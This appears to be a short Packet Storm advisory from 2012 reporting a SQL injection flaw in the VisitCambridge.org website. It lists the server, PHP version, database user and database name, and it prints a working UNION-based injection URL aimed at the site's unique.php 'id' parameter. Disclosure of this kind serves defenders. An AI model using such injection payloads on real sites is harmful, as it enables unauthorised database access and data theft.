VisitCambridge.org suffers from a remote SQL injection vulnerability.
fe7381569ee7882cae4563d0d345edbaHost Information
Server = Apache/2.2.3 (CentOS)
Version = 5.0.22
Powered by = PHP/5.1.6
Current User = visitcambridge@localhost
Current Database = visitcambridge
Supports Union = yes
Union Columns = 3
Found By : Rohit Bansal [ rohitisback[at]gmail.com ]
Url| http://www.visitcambridge.org/unique.php?id=-1
Vuln: http://www.visitcambridge.org/unique.php?id=-1+and+1=0+ and 1=0 Union
Select UNHEX(HEX([visible])) ,2,3
© 2012 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed
Comments
No comments yet, be the first!